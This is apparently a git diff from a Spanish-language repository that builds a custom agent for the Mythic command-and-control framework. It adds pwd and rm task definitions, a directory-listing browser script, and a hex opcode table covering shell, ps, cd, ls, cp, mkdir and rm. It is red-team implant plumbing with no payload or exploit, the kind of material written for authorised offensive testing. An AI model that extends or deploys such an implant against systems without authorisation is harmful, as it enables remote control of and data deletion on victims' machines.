attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,43 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class PwdArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Pwd no necesita parametros.")
|
||||
|
||||
|
||||
class PwdCommand(CommandBase):
|
||||
cmd = "pwd"
|
||||
needs_admin = False
|
||||
help_cmd = "pwd"
|
||||
description = "Muestra el directorio actual"
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = PwdArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,56 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class RmArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="ruta al fichero o directorio",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Debe introducir una ruta a un fichero o directorio")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class RmCommand(CommandBase):
|
||||
cmd = "rm"
|
||||
needs_admin = False
|
||||
help_cmd = "rm C:\\ruta\\al\\DirectorioOFichero"
|
||||
description = "Elimina un fichero o un directorio"
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:remove"]
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = RmArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,58 @@
|
||||
function(task, responses) {
|
||||
if (task.status.includes("error")) {
|
||||
const combined = responses.reduce((prev, cur) => prev + cur, "");
|
||||
return { 'plaintext': combined };
|
||||
} else if (responses.length > 0) {
|
||||
// Parse the output data
|
||||
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
|
||||
if (output.length <= 2) {
|
||||
return { 'plaintext': "No directory contents found." };
|
||||
}
|
||||
|
||||
// Extract path and rows
|
||||
const pathLine = output[1];
|
||||
const dataLines = output.slice(2);
|
||||
|
||||
// Prepare the table structure
|
||||
const formattedResponse = {
|
||||
headers: [
|
||||
{ plaintext: "Type", type: "string", width: 60, disableSort: true },
|
||||
{ plaintext: "Size", type: "string", width: 80, disableSort: true },
|
||||
{ plaintext: "Date Modified", type: "string", fillWidth: true },
|
||||
{ plaintext: "Name", type: "string", fillWidth: true }
|
||||
],
|
||||
title: `Contents of ${pathLine}\n`,
|
||||
rows: []
|
||||
};
|
||||
|
||||
// Format rows for table
|
||||
dataLines.forEach(line => {
|
||||
const parts = line.split("\t");
|
||||
if (parts.length === 4) {
|
||||
const [type, size, modified, name] = parts;
|
||||
formattedResponse.rows.push({
|
||||
Type: {
|
||||
plaintext: type === "D" ? "Directory" : "File",
|
||||
cellStyle: {},
|
||||
},
|
||||
Size: {
|
||||
plaintext: type === "D" ? "-" : size + " bytes",
|
||||
cellStyle: {},
|
||||
},
|
||||
"Date Modified": {
|
||||
plaintext: modified,
|
||||
cellStyle: {},
|
||||
},
|
||||
Name: {
|
||||
plaintext: name,
|
||||
cellStyle: {},
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
return { table: [formattedResponse] };
|
||||
} else {
|
||||
return { 'plaintext': "No response yet from agent..." };
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,13 @@ commands = {
|
||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||
"exit": {"hex_code": 0x80, "input_type": None},
|
||||
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
||||
"ps": {"hex_code": 0x15, "input_type": None}
|
||||
"ps": {"hex_code": 0x15, "input_type": None},
|
||||
"cd": {"hex_code": 0x20, "input_type": "string"},
|
||||
"ls": {"hex_code": 0x21, "input_type": "string"},
|
||||
"pwd": {"hex_code": 0x22, "input_type": None},
|
||||
"cp": {"hex_code": 0x23, "input_type": "string"},
|
||||
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||
"rm": {"hex_code": 0x25, "input_type": "string"}
|
||||
}
|
||||
|
||||
def responseTasking(tasks):
|
||||
@@ -18,6 +24,8 @@ def responseTasking(tasks):
|
||||
|
||||
for task in tasks:
|
||||
command_to_run = task["command"]
|
||||
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
|
||||
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
|
||||
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||
|
||||
task_id = task["id"].encode()
|
||||
@@ -25,8 +33,11 @@ def responseTasking(tasks):
|
||||
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
||||
|
||||
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||
print("[DEBUG] Entrando en rama input_type=None")
|
||||
data = command_code + task_id_serialized
|
||||
task_size = len(data)
|
||||
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
||||
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
|
||||
dataTask += task_size.to_bytes(4, "big") + data
|
||||
|
||||
print("input_type: None")
|
||||
@@ -58,7 +69,7 @@ def responseTasking(tasks):
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
print("estamos en el dataToSend\n")
|
||||
print(dataToSend)
|
||||
print(dataToSend.hex())
|
||||
return dataToSend
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user